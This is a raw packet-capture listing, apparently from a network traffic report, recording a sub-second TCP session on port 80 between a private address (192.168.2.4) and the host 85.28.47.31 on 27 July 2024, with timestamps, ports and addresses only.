Jul 27, 2024 05:39:19.725888014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725894928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725929022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725938082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725961924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.725974083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.725999117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726006031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726042986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726049900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726094007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726100922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726134062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726144075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726167917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726176977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726202011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726211071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726244926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726253033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726290941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726295948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726335049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726341009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726372957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726391077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726406097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726414919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726439953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726449013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726475954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726481915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726511002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726520061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726545095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726556063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726588964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726596117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726629972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726641893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726660967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726674080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726696968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726705074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726748943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726761103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726783991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726794004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726818085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726828098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726851940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726861000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726885080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726891994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726918936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726924896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726948023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726963043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.726980925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.726989985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727015972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727025986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727051020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727057934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727085114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727096081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727117062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727130890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727153063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727163076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727185011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727195024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727221012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727226973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727253914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727267027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727288008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727298021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727329969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727332115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727365017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727375031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727397919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727412939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727433920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727442980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727467060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727478981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727503061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727509022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727536917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727547884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727571964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727581024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727606058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727616072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727642059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.727648973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.727693081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.813684940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813705921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813719988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813726902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813734055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813746929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.813755035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814035892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814068079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814095974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814110041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814124107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814124107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814140081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814155102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814156055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814169884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814183950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814203024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814224958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814512968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814527035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814546108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814559937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814575911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814579964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814596891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814608097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814620972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814624071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814639091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814650059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814656019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814668894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814682007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814688921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814699888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814712048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814728975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814738989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814743996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814758062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814771891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814774036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814785957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814800978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814800978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814815998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814829111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814831018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814842939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814847946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814863920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814872026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814876080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.814893961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.814918995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815035105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815061092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815074921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815074921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815088987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815105915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815114021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815118074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815133095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815135956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815148115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815160036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815161943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815176964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815177917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815190077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815192938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815205097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815208912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815223932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815237999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815246105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815253019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815273046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815282106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815308094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815334082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815349102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815361977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815388918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815412998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815437078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815450907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815471888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815485954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815489054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815500975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815515041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815541029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815553904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815562963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815577984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815592051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815603018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815606117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815617085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815623045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815637112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815638065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.815649986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815668106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.815690041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.821986914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822077990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822091103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822104931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822128057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822129965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822144985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822153091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822160006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822171926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822175980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822191954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822199106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822206020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822220087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822221994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822244883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822248936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822261095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822273970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822276115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822290897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822299957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822305918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822319984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822324991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822334051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822350025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822350979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822377920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822377920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822391033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822393894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822408915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822422028 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822422981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822437048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822438002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822449923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822453022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822468042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822468996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822483063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822499037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822505951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822525978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822529078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822541952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822546959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822556019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822570086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822571993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822582006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822588921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822601080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822606087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822613955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822621107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822632074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822650909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822668076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822676897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822691917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822704077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822719097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822731018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822731972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822745085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822758913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822772980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822777987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822788000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822801113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822803974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822814941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822818995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822834015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822834969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822851896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822854996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822865963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822870970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822885036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822886944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822902918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822918892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822921991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822933912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822948933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.822948933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822954893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.822985888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904424906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904448986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904468060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904489994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904525042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904537916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904552937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904566050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904580116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904592037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904606104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904620886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904634953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904648066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904648066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904648066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904648066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904648066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904653072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.904675961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904680967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.904709101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905498981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905548096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905599117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905615091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905642033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905653000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905662060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905677080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905692101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905705929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905706882 CEST	49477	80	192.168.2.4	85.28.47.31
